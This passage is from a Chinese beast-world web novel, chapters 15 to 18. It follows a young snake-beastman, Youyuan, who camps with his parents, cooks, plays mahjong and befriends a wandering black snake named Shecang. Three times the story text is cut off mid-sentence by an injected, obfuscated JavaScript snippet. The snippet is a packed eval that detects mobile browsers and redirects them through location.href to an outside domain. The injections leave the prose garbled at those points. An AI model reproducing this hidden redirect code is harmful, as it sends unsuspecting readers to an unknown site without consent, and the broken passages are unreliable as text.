在他们看来，崽子那‘顿顿不吃饱，一天搞好几顿’的做法才叫奇怪呢。 15. 第 15 章 抓了鱼，逮了虾，游远盘腿坐在阿爹阿父身边，从空间中取出一把巴掌大小的细长窄刀来，开始处理鱼虾。 挑走虾线，去掉鱼内脏鱼鳞，再在水里刷洗一下鱼身。 原本从游远手底下逃走的鱼虾水蛇又偷偷摸摸跑回来了，每当有东西落入水中时，就是它们的一场狂欢。 游远处理好鱼虾，将身边的盆盆桶桶全部收进了空间，站起来蹦了两下，活动开身体之后，凑到两条大蛇面前：“阿爹阿父，我们走啦！” “好。” 岩丘和青芽陪着游远离开。 山林内地势起伏没有道路，游远随便找了个从前没走过的方向前行，偶尔看见些稀奇的植株会停下来瞧一瞧，挑挑拣拣摘一点拿在手上，又随手放置在经过的古怪凸起或凹陷中。 生活在这片森林里的，不只是危险的凶兽，还有许许多多体型小巧的树栖动物。 游远追着一只松鼠猴①走了一段，在绕过一棵大树的时候，丢失了那小家伙的踪迹，但随之，一片漂亮的景色出现在视野里。 潺潺流水顺着起伏的黑石流淌，在下方积出一汪清潭来，周围的大树不知怎的倒翻了一棵，使得阳光畅通无阻地落下，将潭水照耀的清透异常，体形小巧的鱼儿在潭水中游动着，波光粼粼，自是一派好风光。 游远看了两秒，忽然一个转头，去瞅阿爹阿父。 青芽了然：“想在这待会儿？” “阿爹真了解我。”游远得寸进尺地撒着娇，“我们今晚在这里过夜好不好？想看看晚上是什么样的。” 岩丘缠绕在旁边的大树上，居高临下地瞧了几眼，不是很理解崽子：“这还没我领地里那个水潭大呢，有什么好看的。” 游远：“……” 他朝岩丘做鬼脸：“阿父一点都不知道欣赏。” 岩丘鼻孔喷气，很不服气这话。 青芽可不准备让他们俩争辩起来，变成人形拉着游远往前，说道：“那我们先去看看情况，找个能休息的地方。” “好嘞~” 游远欢快跟上。 他们父子俩都走了，岩丘只好跟了上去。 到了近前，景色越发鲜明。 潭水周围的木石上都生长着厚厚的青苔，细小的苔花样式颜色各不相同，将这里点缀得十分漂亮。 岩丘在他们周围转了转，问游远：“确定要留一晚？” 游远快速点头，“确定确定。” “行。”岩丘准备离开，“我去周围巡视一圈，你跟着你阿爹别乱跑，知道吗？” “知道啦！阿父拜拜~” 送走大蟒蛇，游远和青芽挑选了个合适的地方，开始布置。 首先是将宽大的兽皮绑在树干上，制成一个能让父子三个窝在里面的大吊床，然后拿着骨刀去砍些粗壮的树枝回来，切出三段削去树皮做凳子，再将粗的那一节上下削平，方便回头用来放置吃食。 兽人用的骨刀来自金刚巨兽的骨头，坚硬至极，用来砍木石也就是多用点力气的事情，骨刀并不会受多少损伤。 游远至今还没用坏过骨刀呢。 准备好这些，游远拿着棍子扒拉着留出来的空间，确定下面有没有干燥的枯枝。 “小远走了，去弄点柴火回来。” 听见青芽喊，游远丢掉手里的棍子，小跑着追了上去：“来啦来啦！” 蛇王部落坐落的山林里水源很多，想要找到干枯的树枝有些麻烦，青芽和游远在周围转了好几圈，才收集到够他们一天用的柴火。 因为有空间在，不用负重，青芽便一直保持着兽形，跟在游远身侧呈保护姿态。 等他们回到休息的地方时，岩丘已经回来了，还带了一头小型猎物。 “阿父！”游远看了两眼，好奇地问道：“这是什么动物？” “短刺兽，口感跟咕咕兽有点像。” 游远闻言就问道：“那要怎么处理？也要烧开水吗？” “不用，倒着刮刺就行。” 青芽变成人形过来，说道：“让你阿父处理去，咱们先把火烧起来，还有你那鱼肉，是不是得腌制一下。” “哦哦好哦。” 游远先给了岩丘一把骨刀，然后取出方才收集的柴火，以及先前收拾好的鱼虾。 青芽找了找，“崽，打火石没带？” “带了带了。” 游远忘了，忙从空间中翻出打火石交给青芽，然后才带着鱼虾去旁边，取出调味来准备腌制。 虾是不需要腌制的，处理好鱼之后，游远就坐了下来，拿着骨刀削木签子。 青芽生好火，又去砍了半根粗树枝下来，削成大小相似的木块围着火堆摆好。游远见状，从空间中取出火焰石制成的烤网放上去。 火焰从细长的隔网中冒出来，很快将火焰石燎红。 青芽坐下，随游远一起削木签。 岩丘处理好兽肉回来，“小远，拿个盆出来，大一点儿的。” “好~” 游远身体后仰，反手放出个大号的树干盆出来，岩丘将肉放进去，端着盆坐到另一边，开始切割肉块。 一家三口忙忙碌碌，提前穿好的虾摆在烤网上，随着香味处理着食材。 头一口河虾是没放调味的，游远将阿爹阿父那份放在盘子里，吹着风啃了上去，刚从火上下来的虾还烫着，游远一边吹一边啃，尝到里面鲜甜紧实的虾肉后，顿时就是一个大满足。 好好吃啊。 解决完一只虾，游远开心地哼着小调，重新往架子上放了河虾，同时开口问阿爹阿父：“怎么样，好不好吃？” 青芽笑着道：“好吃。” 岩丘：“味淡了点，我下一份多放些调味。” “阿爹呢？” “可以少放一点。” “好的~” 头顶树林茂密，偶尔有风吹过，带走火焰带来的灼热感，准备的食材吃了小半，三条蛇受不了火焰的炙烤，干脆将食材收了起来，变成兽形泡在了潭水中。 那清透的潭水看着浅浅的，其实也有三四十厘米深。 游远泡在里面，懒洋洋地松散着身体，任由其沉入水底，唯有一个脑袋搭在石头上，眼睛微微阖上，显见着就要睡过去了。 太阳一点点转移着方位，逐渐变成直射潭水的角度，青芽和岩丘变成人形起身，“小远，换个地方去睡。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251872|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唔？好——” 游远打着哈欠变成人形，懒洋洋地坐了起来，还是迷糊的。 夫夫俩真是半点都不意外。 青芽伸手，在岩丘的帮扶下，把游远放到了背上。 “谢谢阿爹~”游远脑袋搭在青芽颈侧，困倦着也不忘笑嘻嘻地撒娇。 青芽的声音很轻：“睡吧。” 阿爹阿父都在身边，游远很是放松，倒也真随着这一声睡了过去。 一家三口都上了吊床，青芽和岩丘变成兽形，后半截身子垂出吊床，松散地蜷在地上——这个姿势方便他们应对凶兽的来袭。 － 一家三口在部落外面待了一天一夜，看过明月下的潭水与飞舞的萤火虫，等到第二天早上太阳出来，才不疾不徐地回到部落里。 他们回来的时间巧，正好遇着巡逻队交接闲聊。 游远好奇地停下来听了一耳朵，在阿爹阿父的催促下慢悠悠追上去，声音轻快地道：“部落里来了流浪兽人哎！我还没有见过流浪兽人呢，可以去看看吗？” 青芽偏头顶了顶他，“流浪兽人都凶得很，不怕？” 部落聚集的地方，即使是安全区之外，危险度也是可控的，但流浪兽人什么地方都会去，能够遇到许多凶兽，因而性情普遍沉默凶狠，不好相处。 游远想了想道：“他又不会攻击我，不怕的！” 兽人从不伤害兽人。 岩丘道：“想去就去吧，害怕的话就找人陪你一起。” “好的呢~” 一家三口回到领地里，岩丘和青芽也没再跟小崽子一起，而是慢悠悠地回了他们的山洞。 游远游累了，趴在地上歇了会儿才慢吞吞地爬起来，钻到二楼睡觉。 这一觉，就睡到中午过去。 游远神清气爽地下了楼，看见厨房里放了好些新鲜的蔬菜，就知道是阿爹阿父来过了，他探头出厨房扯着嗓子喊了两声，问阿爹阿父要吃些什么。 临近的领地里很快传来蛇语的回应。 如果是纯正的人类在这，自然是听不到这动静的，不过游远现在是蛇兽人，虽然废废的，但基础的听觉器官没有问题。 听阿爹阿父不来吃，游远琢磨了下，准备搞个东坡肉尝尝。 空间里有前两天没吃完的五花肉，游远取了一块出来。因为家里并不缺肉，这五花肉是远着冰块放的，现下也不用解冻，直接放入锅中焯水。 趁着焯水的时间，游远做了一个拍黄瓜。 随手捏起一块丢入嘴里，酸辣脆爽的黄瓜带着适度的清甜，简直是夏日里一道亮丽的风景线。 把做好的酸黄瓜放到空间的中间区域，借着未能彻底隔绝的冰块凉意冰着，游远捞出焯好水的五花肉，切块之后用麻绳绑好，换锅热油煎肉。 等到肉块表面微黄时盛出，又炒糖色备调味菜。 全部准备好，换回大锅，在最下面铺上姜片和葱段，再把肉块皮朝下放好，加入准备好的料汁和糖色，倒上足够的水，盖盖大火烧开。 汤水咕嘟冒泡时，游远退了几根柴火出来，偏头瞧见阳光照入洞口，站起身来。 东坡肉要炖一两个小时呢，先出去玩会儿~ 16.第 16 章 山脚，草木茂盛，阳光穿过树叶，细细密密洒了一地金光。 “远。” 同龄的蛇兽人看见游远，竖起个脑袋来。 游远扭头，看清蛇之后，快步走了过去，“慧，你今天都躺在这里吗？” “刚出来呢，你怎么也来了？”慧用尾巴托着脑袋，好奇地询问。 他可知道呢，游远今儿早上是自己用兽形游回来的，按理来说，接下来几天都会见不到他才对。 游远在慧身边盘腿坐下，压低声音道：“我听说部落里来了流浪兽人。” 慧：“啊是，夜里进来的，你想见他吗？” “也不是想见他啦。”游远托腮，“就是没见过流浪兽人，有些好奇。他也是蛇族的吗？” “我没见过呢。” 慧扭头正欲寻蛇，就听旁边的大蛇搭话道：“是条黑蛇，瞧着蛮凶。” 游远一下子扭头，眼睛亮亮的，“圭哥，你还知道别的嘛~” 圭是一条百多岁的大蛇，与游远的阿爹阿父同龄，叫哥哥是因为兽人只有父子间称呼不同，其余的统一直呼其名或者叫哥哥弟弟。 听游远撒娇，圭认真地回忆了一下，说道：“他带的东西很少，应该很会打架。不咋说话，也不爱跟咱们部落里的人闲聊，别的我也不知道。” 流浪兽人在外生活不便，往往要带不少东西在身上，带得少说明他能随时找到自己需要的物品，而在真正远离部落的森林里，没有足够强大的实力，是没办法获取生活所需的。 游远听大家知道得不多，琢磨着自己晚些去瞧瞧好了，便话题一转聊起这次在外面玩的经历。 蛇族兽人对幼崽并没有养育的本能，大部分小蛇在到了三四岁的时候，就会被送到大山洞里，或者在领地中给他们划分一部分地方单独居住，因而与游远同龄的大部分小蛇都还没出安全区玩过。 他这一开口，不少蛇都凑了过来，热热闹闹叠了厚厚一圈。 圭对这个话题不感兴趣，便给他们腾了位置。 · 热闹的动静又吸引了不少蛇兽人看过来，见是游远又收回了视线，这蛇每次跟着他阿爹阿父出去，回来后都会来这么一出。 习惯了~ · 游远说完一天一夜的游玩经历，意犹未尽地结束话题，想起锅里炖着的肉，便朝小伙伴们挥了挥手道：“我要回去吃饭啦，晚上再玩儿。” 一群蛇你挤我我挤你地给游远空出回去的路，学着他的习惯挥尾巴：“拜拜~” 回到自己的领地内，还隔着一段距离呢，游远就闻到了浓郁的香味，他脚下的速度顿时就快了起来。 越过树干与草丛，一路来到家门口，就见阿爹阿父守在山洞外面。 游远歪头探身，明知故问：“阿爹阿父你们不是说不吃吗？” 青芽和岩丘扭头，看见小崽子面上藏不住的笑意，不由好笑道：“你倒是给我们拒绝的机会啊。” “这话说的~”游远脚步轻快地越过两蛇，“我又没堵家门口去！” 青芽&岩丘：“……” 两边的山洞距离那么近，就兽人那灵敏的嗅觉，这跟堵家门口诱惑他们有什么差别？ 斗着嘴，游远进入厨房，意料之中地看见了灶台上的米饭。他便转身出来，勾着慢悠悠的阿爹阿父撒娇道：“快点啦，我好饿哦。” 岩丘笑话他：“饿还去玩这么久。” 游远盛着菜，理直气壮地道：“不小心忘了时间嘛。” 饭菜全部上桌，三人去洗了洗手，然后才回到餐桌边，盛上一碗粒粒分明的大米饭，再夹块软糯咸香一口吞不下的东坡肉，配着清爽的拍黄瓜一起，香飞了。 游远舀了点东坡肉的汤汁淋在米饭上，再将肉捣碎和米饭混在一起，舀上满满一勺送入嘴里，“好好吃啊~” 闻言，青芽和岩丘赞同地点头。 肉就是要这么吃才香，先前弄的那什么生腌啊鱼脍的，好吃是好吃，就是太薄了，从嘴巴到肚子都没什么实感。 吃饱饭，洗碗收拾厨房是阿爹阿父的事情。 游远挥着手，“我出去玩啦~” “行，收拾完我们就回去了。”岩丘和青芽并不约束他。 “好的好的！” 游远蹦跶着出了自家领地，穿过先前闲聊的林子，到了部落祭台前的空地上。这祭台说得神秘兮兮，其实就是个生活小广场。每次采集队和狩猎队回来，都会在这里分食物，到了晚上，也有喜欢凑热闹的兽人在这聚堆。只有在丰收季的时候，才会进行一次祭祀。 游远一出现，就有好几个小伙伴朝他招手，“小远，这儿。” 游远跑了过去，耳尖地听到一点东西，问道：“你们在说那个流浪兽人吗？” “是啊。” 橙色长发的亚兽拉着他坐下，朝某个方向抬了下下巴，说道：“他天黑就来了，挂在那儿也不说话，好奇怪的。” 游远顺着他的示意瞧过去，和一双暗金色的眼睛对视上。 一股毛骨悚然的感觉瞬间冒了出来，他搓了搓胳膊，嘀咕道：“蛇见多了，怎么就他那么吓人。” 兽人都耳聪目明的，听见游远的嘀咕声，一群人乐道：“先前说他凶你还不信，现在还敢过去瞧不？” 游远被调侃，伸手去扯他的脸颊肉，“我要是去，指定会拉上你。” 又指其他人：“你们也一个都别想跑。” 大家哪里会怕他，闻言嘻嘻哈哈起来。 他们年龄相仿，都是一起长大的，这会儿凑堆聊了两句别的兽人，很快就把这个话题抛在了脑后，闹着游远把麻将拿出来，要一起打麻将。 兽世的日子虽然悠闲，但太悠闲了就有些无聊。 因而这些年下来，游远做了好些东西。又倚仗着兽人记忆力好，也不管小伙伴们能不能理解，将那些规则一股脑塞进他们的脑子里，成功收获不少快乐。 麻将，作为基础规则最简单的一款游戏，历经多年，也在众多桌游中脱颖而出。 · 眼瞧着那个漂亮的亚兽人投入到玩乐中，蛇苍悄无声息地下了树，变成人形来到人群里。 陌生的兽人到来，有几个好奇地瞅了两眼，见蛇苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261565|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有开口说话的意思，便又将视线给收了回来，继续看几个人打麻将。 “胡了！” 游远把面前的麻将条一推，雀跃道：“快点，快点，都动起来，我要吃炸串儿~” 输了的三人悲伤地往后一倒，“什么嘛，开头就赢大的。” 游远眉飞色舞：“没办法，我运气好。” 兽世没有银钱，他们打牌赌的从来都是吃食，输得小，就给自己做来吃的零嘴，输得大，就要听赢的人安排，去给他做东西吃。 见着这一幕，蛇苍若有所思地看向那些木头块，低声与身边的兽人搭话。 那兽人便仔细讲了讲麻将的打法。 游远听见旁边的动静，扭头瞧了一眼，又跟人暗金色的眼睛对上了。 “……” 这是装了雷达嘛，反应这么快。 心里嘀咕着，第一盘炸串上了桌，游远拿起一串炸土豆啃了口，笑眯眯招呼其他人：“趁热吃啊，一会儿冷了就不好吃了。” 大家也没客气。 蛇苍手里，也被方才搭话的兽人塞了串炸土豆，“远哥胃口小，也就吃两串尝个味儿，你吃完自己拿。” “小柳叶说得对，听他的，只要你抢得过大家，吃多少都没关系。”游远洗着麻将，闻言笑道。 “谢谢。” 蛇苍看着人的背影片刻，低头去尝炸土豆。 土豆表面沾了许多调味料，外皮金黄焦香，内里是软糯的咸口，味道还算不错。他认真吃完后观察了下，学着其余人的，将木签丢进一个树干桶中。 游远又赢了一局，对输得最惨的小伙伴双手合十，开始许愿：“想吃炸鸡腿~” 小伙伴：“……” 拍桌而起：“给我等着，下回指定赢你！” 那雄性兽人气势汹汹地起身，放完狠话扭头就走，出部落逮咕咕兽去了。 游远半点没将他的话放在心上。 这都多少年过去了，别人他还忌惮一下，这位，也就赢过他五六回吧。 “我可以试试吗？”蛇苍见他们对话结束，问道。 嗯？ 新来的要玩？ 原本要上桌的人往后一退：“来来来，快赢给我们瞧瞧。” 蛇苍道：“我应该赢不了。” “能赢能赢。”旁边的兽人比他还自信，“用小远的话来说，这新手都是有保护期的，你肯定能赢，要有信心！” 新手保护期又是什么东西…… 蛇苍心里琢磨着，抬眸看见游远一脸严肃，原本随意散落的长发都被他拢到了脑后，将那张漂亮的脸蛋彻底露出来，惊艳之下，瞳孔也缩小了一圈。 好看，喜欢。 游远把身边没吃完的炸串塞小伙伴手里，严阵以待：“来吧！” 洗牌、垒长城，然后掷骰子。 游远数了数，见不是自己也不是对面的新人，顿时松了口气，面上也带出了笑模样来，抬头发现蛇苍在看自己，眉尾飞扬道：“别看你是新人，我今儿可不一定会输。” 他这般活泼，蛇苍笑了下，说：“好。” 17.第 17 章 月光皎洁照亮大地。 游远看看面前的牌，再看看旁边人推出的平胡，悲伤地一摊牌，“输给新手就是我的宿命呜——” 他呜呜哭着，却是一滴眼泪都没有，周围的小伙伴见了，哈哈大笑。 蛇苍安慰他：“等下局我就不是新手了。” “你不懂。”游远沉重叹气，“我就是想赢一回新手。” 蛇苍闻言哑然，不知道该说什么了。 游远也就是玩闹一下，叹完气就把这事抛到了脑后，从空间中掏出一个兽皮袋子，抓上一大把肉干放到蛇苍面前，“给你给你，这个很好吃的。” ？ 蛇苍疑惑地眨了眨眼睛。 他很确定，此前游远身上并没有携带兽皮袋，那这袋肉干又是从哪来的？ 思绪转着圈儿，蛇苍并未多问，而是尝了一块小的肉干，片刻后赞同道：“确实很好吃。” 虽然没能成功展现厨艺，但尝到了对方做的肉干，这样似乎也很不错。 游远闻言得意道：“那当然了，我精心琢磨了二十年呢。” 他上辈子只研究那些复杂的技术，做肉干啊炒菜之类的手艺，都是到了兽世之后，一点点学习琢磨的。可惜从前他年纪太小，阿爹阿父不让他去会做很多吃食的凉河部落玩，不然他早成为大厨了。 · 接下来两局的胜利者又都是游远，他赢得多了有些无聊，起身离开了牌桌。 蛇苍见状，跟着起身，与游远先后走出人群。 游远察觉到他的跟随，疑惑地偏头问道：“怎么了吗？” 蛇苍说道：“我还欠你两局的吃食。” “那个啊。”游远不在乎地摆摆手，笑眼弯弯地道：“就闹着玩儿，你别放在心上。” 蛇苍哪能不放在心上，他想了想说道：“远不介意的话，我明日去做个吃食给你送过去，就当是换了这两局的？” 见人坚持，游远这才点头：“也行的。” 得到满意的答案，蛇苍神情松快，看对方并不抗拒自己的靠近，便多问了句：“你要回去了吗？” “不。”游远摇头，“我的炸鸡还没好呢！” 他满脸都是对美食的期待，蛇苍不由多看了好几眼，回神时发现他在往灶台那边去，便停下步伐，再度与人约定：“那我明日带吃食去找你？” “可以啊~” 如此约定好，蛇苍便没了其他问题，站在原地与游远告别。 游远随手挥了挥，小跑着往灶台的方向而去。 ——因为每年祭祀都会做一些吃食，祭台周围砌了好些灶台，也方便族人们平日里使用。 此时此刻，灶台旁边围了几个闲聊的雄性兽人，看见游远过来，他们下意识看了眼还留在原地，看着这边默然不语的雄性兽人，一副好奇模样地问道：“小远，那个流浪兽人跟你说什么了？” “没说什么啊。”游远瞧了瞧锅里炸鸡的情况，“他不是没带吃的出来嘛，说明天给我送过去。” “哦……” 听上去好像挺正常的。 雄性兽人们很快就把这件事抛到了一边，将话题重点落到了游远身上，很是热情。 正在炸鸡的雄性兽人：“……” 他就知道！ 游远从小被阿爹阿父惯坏了，性子调皮，同龄的兽人都被他折腾过，因而分化之后，也没哪个雄性兽人敢追求他。不过年长的那一批就不同了，他们战斗力强大，又因为此前跟青芽岩丘更熟悉，见到更多的是游远撒娇卖乖的模样，现如今他成了年，就少有单身雄性不心动的。 而对此，游远一无所知。 真论起来，这事也不能全怪游远迟钝。他受现代社会的影响太深，觉得年龄差二十岁以上的是叔叔，四十岁以上的是爷爷，谁会对叔叔爷爷感兴趣啊？！ 就算这个‘叔叔爷爷’长得很年轻，本身也确实是个青壮年也不行。 炸鸡好了。 游远从空间中取出盘子，挑了几块夹到盘子里，挥挥手跟热情的哥哥们告别，脚步轻快地回家，去找阿爹阿父分享战利品。 几个搭话的雄性兽人对视一眼，不约而同地叹了一口气。 － 又是一天。 太阳升上了高空，昨晚玩到月上树梢才回来的游远听见有蛇在领地边缘询问，打着哈欠来到二楼小平台的位置，撑着栏杆回应了一声：“我在——” 回应过后没有多久，游远就见着一条大黑蛇游了过来。 那黑蛇身形约有七八米长，暗金色的圆瞳在日光下显出几分璀璨夺目起来，他身上每一片蛇鳞都泛着盈润的光泽，一瞧就手感超好的样子。 见是蛇苍，游远转身，快速下楼。 黑蛇在游远的山洞前停住，变成人形从携带的兽皮袋子里取出一小捧花来，看见游远再次出现，他微微颔首同人道：“去找粉果的时候看见这花开得挺好看的，就带过来给你瞧瞧。” “确实很好看。” 游远接过仔细瞧了瞧，拿了深口杯子出来将其放进去，这才笑着问蛇苍：“你昨天说的好吃的是什么？” 蛇苍道：“这东西得现做才好吃，我想着在你这做，你的灶台在哪里？” “跟我来。” 游远闻言，直接带着人进了山洞。 山洞里很是整洁，地面墙壁上都垒着石砖，顶部则是用木板拼凑着，隔绝了洞顶的泥土。厨房也大，六个灶台，四米长的备菜橱柜，顶部开了一条狭长的窗户，使得厨房里很是明亮。 蛇苍不着痕迹地打量过，解开兽皮袋子，取出他带过来的东西。 游远靠在墙壁上，问道：“有什么需要我弄的吗？” “不用。”蛇苍嘴角微勾，“这是我输掉的。” 游远听着这语气，忍不住偷偷瞧他，这人输了怎么好像还很开心？ 不过很快，游远的注意力就被蛇苍拿出来的一个干果子吸引走了，他好奇地凑近瞧了瞧，问道：“这是什么东西？” “我叫它酸果，直接吃很酸，但泡水揉出的面很甜。” 游远此前从来没有听说过酸果，忍不住追问蛇苍：“你是在流浪途 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261566|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中找到的酸果吗？它生长在什么样的地方？会不会很难得到。” “是一片没有绿色的地方，并不难得，只是会比较危险。” 没有绿色？ 沙漠？！ 游远眼睛微微睁大，有些惊讶地道：“我还以为大陆上到处都是树呢。” 毕竟兽世季节的变化极其迅速且残酷，没有森林庇护的话，即使是身体强健的兽人们也很容易熬不过去。再加上兽神给人一种什么都管的感觉，他就以为这片大陆会全被改造成适宜舒适的环境呢。 蛇苍不知他的想法，见他感兴趣就顺着话题道：“当然不是，有些地方是黑色的，有些地方是白色的，也有会喷出灼热火焰的高山……就连森林也不完全一样。” “你都去过吗？” “大部分。”蛇苍语气平静，“你想去吗？” 游远闻言，踟蹰了下，叹气道：“我不行的，我先天不足。” 或许再努努力，百年之后，他游行的速度能够达到正常兽人的标准，但即使是那样，他也没有在部落领地之外独自行走的能力。 “先天不足？”蛇苍疑惑。 兽人对不正常的兽人，只有疯兽人这一个评价。 先天不足这个概念还是当年游远出生之后，兽神与阿巫膨风沟通时给出的说法，因着就游远这么一条特殊的‘疯兽人’，并未传播开来。 游远就解释道：“你可以理解成疯兽人啦。我兽形前进的速度很慢很慢，又不会绞杀，小时候还经常放毒毒到我自己。打又打不过，跑又跑不掉的，以后只能生活在部落里。” 蛇苍听他这说法，眸光微动，问道：“你想出去玩吗？” “唔，一点点。” 游远不喜欢被束缚在一个地方，但蛇王部落的领地很大，而且他现在成了年，外面的安全区也可以去了，再偶尔找阿爹阿父陪他去安全区外面走走，日子也很开心。 蛇苍就忍不住去看他。 亚兽靠着墙，照入厨房的光线正好落在他脸上，将那碧眸照得熠熠生辉，藏在其中的向往让蛇苍的心跳一下重过一下，让他本就生根发芽的心动开始蓬勃生长。 察觉到蛇苍的目光，游远疑惑地偏了偏头，“怎么了吗？” “没什么。”蛇苍摇头，“这个面糊要等一会儿才能用。” “哦……” 游远许久没招待过陌生的客人，努力回忆了一下现代的规矩，然后有快速把那些麻烦的东西抛诸脑后，邀请对方去旁边的小溪里泡水。 蛇兽人都爱在炎季泡水，没有例外。 结果也不出游远的预料，酷酷的蛇苍立即就点了头。 山洞旁的小溪很宽，但浅浅的，两条大蛇泡在里面，溪水堪堪盖过他们的身体。 窝在熟悉的位置，青蛇将脑袋搭在身体上，整条蛇都松散了下来，挑着自己感兴趣的话题与黑蛇闲聊。 蛇苍自然是顺着他来。 偶然经过时看见的景色，只有固定环境才能生长的植物，味道格外与众不同的兽肉，一桩桩一件件，都透着诱惑的意味。 18.第 18 章 青蛇听得津津有味，也忍不住想，开始琢磨拉着阿爹阿父去当流浪兽人的可行性。 还不知道自己的努力被勾画成了另外的一片天，蛇苍很有心机地停下话头，“面糊应该差不多了，我去看看。” “我跟你一起！” 游远立即变成人形跟上，要不是碍于他们才认识不久，习惯了亲昵的游远，这会儿就要拉着人，央着他再说说些在外流浪的经历了。 进入厨房。 蛇苍端起碗，见游远凑过来，便拿给他看了看，“这样就好了。” 粉果里面的面粉原本带着些淡黄，现下与泡过酸果的水这么一和，色泽上就透出点粉来，很浅淡，瞧着还挺漂亮的，也不知道弄好之后会是什么模样。 在游远的期待中，蛇苍把石板烧热，避开明火灼烧的位置，将面糊舀到石板上。 面糊底部逐渐定型，表面也鼓出细密的小泡泡，释放出清甜香味来。越瞧，游远就越觉得这玩意儿像松饼。 “这个可以吃了。” 蛇苍将其中最漂亮的那块放到游远面前，游远夹起尝了一口，眼睛微微发亮。从口感上来说，这饼子确实很像是松饼，外皮略带些酥脆，整体是松软绵密的滋味，但味道上没有松饼那么多种类的香，而是一种清淡却无法忽视的甜香。 如果要让游远形容的话，有点像夏日里的绿豆冰沙，甜香清爽。 “真的好好吃。”游远吃完一个，还有些意犹未尽。 心底的期盼成了真，蛇苍面上的笑容明显了些，说道：“兽皮袋里还有好些酸果，都是给你带的，你留着慢慢吃。” “谢谢！”游远并不客气，“你有什么需要的话，随时可以过来找我。” 他虽然战斗力不行，但他阿爹阿父可厉害了，想要什么撒个娇就能弄到手。 蛇苍笑着说好。 · 太阳西斜，即将离开天空。 蛇苍看着游远又打了个大大的哈欠，主动停了话头，说道：“你休息吧，我先走了。” “啊？就走啊。” 游远困归困，对蛇苍那些经历还是很感兴趣的，这会儿听人要走，下意识站起身来往前走了两步，带着些不舍。 是在撒娇吗？ 蛇苍安静地看着游远，很快，又得出一个让他不太开心的答案。 不是。 这个亚兽只是习惯性地表露出最真实的想法。 也不知道是谁能让他这般。 蛇苍想到这里，忍不住多留意了下周围的气息，除了游远之外，还有两道气息，一个亚兽人一个雄性兽人，都挺厉害的，气息上和游远很相像，应该是他的阿爹阿父。 除此之外，就没有别的兽人了。 这个结论让蛇苍生出隐秘的雀跃来，旁边游远敏锐地捕捉到这些许的雀跃，脑袋上缓缓敲击出一个大大的问号。 跟他聊天这么无聊的吗？居然这么期待离开。 果然，万蛇迷什么的都是假的。 思绪乱跑间，看黑蛇进入草木之中，习惯性地藏起自己的身形快速离开，游远沉重地叹了口气，变成兽形慢吞吞地拖着身体，回到二楼睡觉。 嫌弃就嫌弃吧，有什么等他睡醒再说。 － 黑蛇回到自己的领地里，尾巴挑挑拣拣，翻着那一堆少少的行李，头一次为自己东西少感到烦躁。 要是东西多一点，他就能多去找两回人了。 游远明显对部落之外的一切感兴趣，蛇苍一时间在行李里挑不出满意的礼物来，便干脆卷了一个空的兽皮袋子，准备去蛇王部落外面找些新鲜的东西回来，想来游远也会很喜欢的。 带着这个念头，黑蛇兴冲冲地出了部落，与带着猎物回来的青芽和岩丘交错而过。 岩丘扭头瞧着，问旁边树上的巡逻兽人：“他就是那个流浪兽人？” “就是他。” “看着好凶。”青芽陈述事实，压低声音对岩丘道，“咱们要不还是别让小远去见人了？” 万一见了给崽崽吓到做噩梦该怎么办？ 岩丘琢磨着，认同：“拦着吧。” 做阿爹阿父的商量好，也没注意到巡逻兽人欲言又止的表情，带着猎物到了崽的领地。 一进来，就捕捉到股颇为危险的气息。 雄性兽人，很厉害。 从气息中察觉到这两条要素，岩丘尾巴拍打着地面，隐隐透露出些许烦躁来。 蛇族兽人身上的气味很淡，能留下这么浓的气息，要么是对方在这里停留了很久，要么就是他在游远领地里留下了一些标记。 不管是因为什么，这气息的存在，都让青芽和岩丘恍然意识到一点——他们的崽已经长大到可以与成年雄性接触的年纪了。 这个想法让阿爹阿父感觉有些奇特，他们下意识寻找起游远来。 树上没有挂崽，青芽变成人形丢下猎物，顺着楼梯来到二楼，一眼就看到了在角落里呼呼大睡，瞧着没心没肺的蛇崽。 青芽走近，在他身边蹲了下来，看着体长已经开始逼近他的崽，伸出手，动作轻柔地摸着崽身上的鳞片。在摸到游远脑袋的时候，睡梦中的青蛇下意识偏了下头，将侧脸埋入阿爹的掌心中。 还是条爱撒娇的小蛇呢。 青芽想着，两只手捧着小家伙的脑袋，前后左右搓了搓，吵醒崽崽：“小远？今天家里来谁了呀？” 游远困倦地张大嘴巴，蛇信蜷缩地打了个大大的哈欠，迷糊反问：“阿爹你说什么？” 青芽耐心地重复：“今天有谁来家里了吗？” “唔……”游远将脑袋搭在阿爹的大腿上，懒洋洋地道：“是蛇苍啦。昨天玩游戏他输了我两回没带零食，今天就过来给我做好吃的。” 